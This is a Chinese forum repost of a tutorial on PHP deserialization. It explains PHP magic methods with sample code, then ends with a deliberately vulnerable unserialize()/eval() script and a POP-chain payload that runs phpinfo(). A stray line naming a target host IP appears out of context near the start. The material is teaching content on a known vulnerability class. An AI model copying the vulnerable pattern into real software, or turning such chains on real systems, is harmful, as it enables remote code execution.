本帖最后由 Delina 于 2021-7-10 11:55 编辑
原文链接:经验分享 | PHP-反序列化(超细的)
1.正文常见的PHP魔术方法: - __construct:在创建对象时候初始化对象,一般用于对变量赋初值。
- __destruct:和构造函数相反,当对象所在函数调用完毕后执行。
- __call:当调用对象中不存在的方法会自动调用该方法。
- __get():获取对象不存在的属性时执行此函数。
- __set():设置对象不存在的属性时执行此函数。
- __toString:当对象被当做一个字符串使用时调用。
- __sleep:序列化对象之前就调用此方法(其返回需要一个数组)
- __wakeup:反序列化恢复对象之前调用该方法
- __isset():在不可访问的属性上调用isset()或empty()触发
- __unset():在不可访问的属性上使用unset()时触发
- __invoke() :将对象当作函数来使用时执行此方法
复制代码
发现目标主机 192.168.64.137 __CONSTRUCT 与 __DESTRUCT
__construct:在创建对象时候初始化对象,一般用于对变量赋初值。 __destruct:和构造函数相反,当对象所在函数调用完毕后执行。 - <?php
- class Test{
- public $name;
- public $age;
- public $string;
- // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
- public function __construct($name, $age, $string){
- echo "__construct 初始化"."<br>";
- $this->name = $name;
- $this->age = $age;
- $this->string = $string;
- }
- // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
- /*
- * 当对象销毁时会调用此方法
- * 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
- */
- function __destruct(){
- echo "__destruct 类执行完毕"."<br>";
- }
- }
- // 主动销毁
- $test = new Test("Spaceman",566, 'Test String');
- unset($test);
- // 主动销毁先执行__destruct再执行下面的echo
- echo '566'.'<br>';
- echo '----------------------<br>';
- // 程序结束自动销毁
- $test = new test("Spaceman",566, 'Test String');
- // 自动销毁先执行下面的echo,程序结束才执行__destruct
- echo '666'.'<br>';
- ?>
- 运行结果:
- __construct 初始化__destruct 类执行完毕566----------------------__construct 初始化666__destruct 类执行完毕
复制代码
__CALL__call:当调用对象中不存在的方法会自动调用该方法。 调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。 例: - <?php
- class Test{
- public function good($number,$string){
- echo '存在good方法'.'<br>';
- echo $number.'---------'.$string.'<br>';
- }
- // 当调用类中不存在的方法时,就会调用__call();
- public function __call($method,$args){
- echo '不存在'.$method.'方法'.'<br>';
- var_dump($args);
- }
- }
- $a = new Test();
- $a->good(566,'nice');
- $b = new Test();
- $b->spaceman(899,'no');
- ?>
复制代码
__GET()__get():访问不存在的成员变量时调用的;用来获取私有属性 读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数。 例: - <?php
- class Test {
- public $n=123;
- // __get():访问不存在的成员变量时调用
- public function __get($name){
- echo '__get 不存在成员变量'.$name.'<br>';
- }
- }
- $a = new Test();
- // 存在成员变量n,所以不调用__get
- echo $a->n;
- echo '<br>';
- // 不存在成员变量spaceman,所以调用__get
- echo $a->spaceman;
- 运行结果:
- 123
- __get 不存在成员变量spaceman
复制代码
__SET()__set():设置不存在的成员变量时调用的; 设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。 例: - <?php
- class Test{
- public $data = 100;
- protected $noway=0;
- // __set():设置对象不存在的属性或无法访问(私有)的属性时调用
- /* __set($name, $value)
- * 用来为私有成员属性设置的值
- * 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。
- */
- public function __set($name,$value){
- echo '__set 不存在成员变量 '.$name.'<br>';
- echo '即将设置的值 '.$value."<br>";
- $this->noway=$value;
- }
- public function Get(){
- echo $this->noway;
- }
- }
- $a = new Test();
- // 读取 noway 的值,初始为0
- $a->Get();
- echo '<br>';
- // 无法访问(私有)noway属性时调用,并设置值为899
- $a->noway = 899;
- // 经过__set方法的设置noway的值为899
- $a->Get();
- echo '<br>';
- // 设置对象不存在的属性spaceman
- $a->spaceman = 566;
- // 经过__set方法的设置noway的值为566
- $a->Get();
- ?>
- 运行结果:
- 0
复制代码
__set 不存在成员变量 noway
即将设置的值 899
899
__set 不存在成员变量 spaceman
即将设置的值 566
566
__get 与 __set例: - <?php
- class Person{
- private $name;
- private $sex;
- private $age;
- //__get()方法用来获取私有属性
- public function __get($property_name){
- echo "在直接获取私有属性值的时候,自动调用了这个__get()方法<br>";
- if(isset($this->$property_name)) {
- return($this->$property_name);
- }
- else {
- return(NULL);
- }
- }
- // __set()方法用来设置私有属性
- public function __set($property_name, $value){
- echo "在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值<br>";
- $this->$property_name = $value;
- }
- }
- $a = new Person();
- // 直接为私有属性赋值的操作,会自动调用__set()方法进行赋值
- $a->name="张三";
- $a->sex="男";
- $a->age=20;
- // 直接获取私有属性的值,会自动调用__get()方法,返回成员属性的值
- echo "姓名:".$a->name."<br>";
- echo "性别:".$a->sex."<br>";
- echo "年龄:".$a->age."<br>";
- ?>
- 运行结果:
- 在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值
- 在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值
- 在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值
- 在直接获取私有属性值的时候,自动调用了这个__get()方法
- 姓名:张三
- 在直接获取私有属性值的时候,自动调用了这个__get()方法
- 性别:男
- 在直接获取私有属性值的时候,自动调用了这个__get()方法
- 年龄:20
复制代码
__TOSTRING()__toString():在对象当做字符串的时候会被调用。 例: - <?php
- class Test
- {
- public $variable = 'This is a string';
- public function good(){
- echo $this->variable . '<br />';
- }
- // 在对象当做字符串的时候会被调用
- public function __toString()
- {
- return '__toString <br>';
- }
- }
- $a = new Test();
- $a->good();
- echo $a;
- ?>
- 运行结果:
- This is a string
- __toString
复制代码
__SLEEP()__sleep():serialize之前被调用,可以指定要序列化的对象属性。 例: - <?php
- class Test{
- public $name;
- public $age;
- public $string;
- // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
- public function __construct($name, $age, $string){
- echo "__construct 初始化"."<br>";
- $this->name = $name;
- $this->age = $age;
- $this->string = $string;
- }
- // __sleep() :serialize之前被调用,可以指定要序列化的对象属性
- public function __sleep(){
- echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
- // 例如指定只需要 name 和 age 进行序列化,必须返回一个数值
- return array('name', 'age');
- }
- }
- $a = new Test("Spaceman",566, 'Test String');
- echo serialize($a);
- ?>
- 运行结果:
- __construct 初始化
- 当在类外部使用serialize()时会调用这里的__sleep()方法
- O:4:"Test":2:{s:4:"name";s:8:"Spaceman";s:3:"age";i:566;}
复制代码
__WAKEUP__wakeup:反序列化恢复对象之前调用该方法 例: - <?php
- class Test{
- public $sex;
- public $name;
- public $age;
- public function __construct($name, $age, $sex){
- $this->name = $name;
- $this->age = $age;
- $this->sex = $sex;
- }
- public function __wakeup(){
- echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
- $this->age = 566;
- }
- }
- $person = new Test('spaceman',21,'男');
- $a = serialize($person);
- echo $a."<br>";
- var_dump (unserialize($a));
- ?>
- 运行结果:
- O:4:"Test":3:{s:3:"sex";s:3:"男";s:4:"name";s:8:"spaceman";s:3:"age";i:21;}
- 当在类外部使用unserialize()时会调用这里的__wakeup()方法
- class Test#2 (3) {
- public $sex =>
- string(3) "男"
- public $name =>
- string(8) "spaceman"
- public $age =>
- int(566)
- }
复制代码
__ISSET()__isset(): 检测对象的某个属性是否存在时执行此函数。 当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。 例: - <?php
- class Person{
- public $sex;
- private $name;
- private $age;
- public function __construct($name, $age, $sex){
- $this->name = $name;
- $this->age = $age;
- $this->sex = $sex;
- }
- // __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
- public function __isset($content){
- echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
- return isset($this->$content);
- }
- }
- $person = new Person("spaceman", 25,'男');
- // public 成员
- echo ($person->sex),"<br>";
- // private 成员
- echo isset($person->name);
- ?>
- 运行结果:
- 男
- 当在类外部使用isset()函数测定私有成员 name 时,自动调用
- 1
复制代码
__UNSET()__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数。 1、 如果一个对象里面的成员属性是公有的,就可以使用这个函数在对象外面删除对象的公有属性。 2、 如果对象的成员属性是私有的,我使用这个函数就没有权限去删除。 例: - <?php
- class Person{
- public $sex;
- private $name;
- private $age;
- public function __construct($name, $age, $sex){
- $this->name = $name;
- $this->age = $age;
- $this->sex = $sex;
- }
- // __unset():销毁对象的某个属性时执行此函数
- public function __unset($content) {
- echo "当在类外部使用unset()函数来删除私有成员时自动调用的<br>";
- echo isset($this->$content)."<br>";
- }
- }
- $person = new Person("spaceman", 21,"男"); // 初始赋值
- unset($person->sex);
- echo "666666<br>";
- unset($person->name);
- unset($person->age);
- ?>
- 运行结果:
- 666666
- 当在类外部使用unset()函数来删除私有成员时自动调用的
- 1
- 当在类外部使用unset()函数来删除私有成员时自动调用的
- 1
复制代码
__INVOKE()
__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。
例:- <?php
- class Test{
- // _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
- public function __invoke($param1, $param2, $param3)
- {
- echo "这是一个对象<br>";
- var_dump($param1,$param2,$param3);
- }
- }
- $a = new Test();
- $a('spaceman',21,'男');
- ?>
- 运行结果:
- 这是一个对象
- string(8) "spaceman"
- int(21)
- string(3) "男"
复制代码
举例pop链的利用例1:- <?php
- highlight_file(__FILE__);
- class pop {
- public $ClassObj;
- // 对象实例化时调用
- function __construct() {
- $this->ClassObj = new hello();
- }
- // 对象销毁或程序运行结束时调用
- function __destruct() {
- $this->ClassObj->action();
- }
- }
- class hello {
- function action() {
- echo "<br> hello pop ";
- }
- }
- class shell {
- public $data;
- function action() {
- eval($this->data);
- }
- }
- $a = new pop();
- unserialize($_GET['s']);
复制代码
简单的审计一下,可以发现,pop类本来是调用hello类的,然后程序结束执行action方法,但是shell类也有action方法,所以就可以构造pop链,使其pop类调用shell类从而执行eval函数。- 构造如下:
- <?php
- highlight_file(__FILE__);
- class pop {
- public $ClassObj;
- function __construct() {
- $this->ClassObj = new shell();
- }
- }
- class shell {
- public $data = "phpinfo();";
- function action() {
- eval($this->data);
- }
- }
- echo serialize(new pop());
- 运行结果:
- O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:10:"phpinfo();";}}
复制代码
不过需要注意的是private属性和protected属性
- <?php
- highlight_file(__FILE__);
- class pop {
- public $Pub = "spaceman";
- private $Pri = "good";
- protected $ClassObj;
- function __construct() {
- $this->ClassObj = new hello();
- }
- }
- class hello {
- }
- echo urlencode(serialize(new pop()));
- 运行结果如下, 有%00存在是因为private属性和protected属性
- O%3A3%3A%22pop%22%3A3%3A%7Bs%3A3%3A%22Pub%22%3Bs%3A8%3A%22spaceman%22%3Bs%3A8%3A%22%00pop%00Pri%22%3Bs%3A4%3A%22good%22%3Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A5%3A%22hello%22%3A0%3A%7B%7D%7D
复制代码
|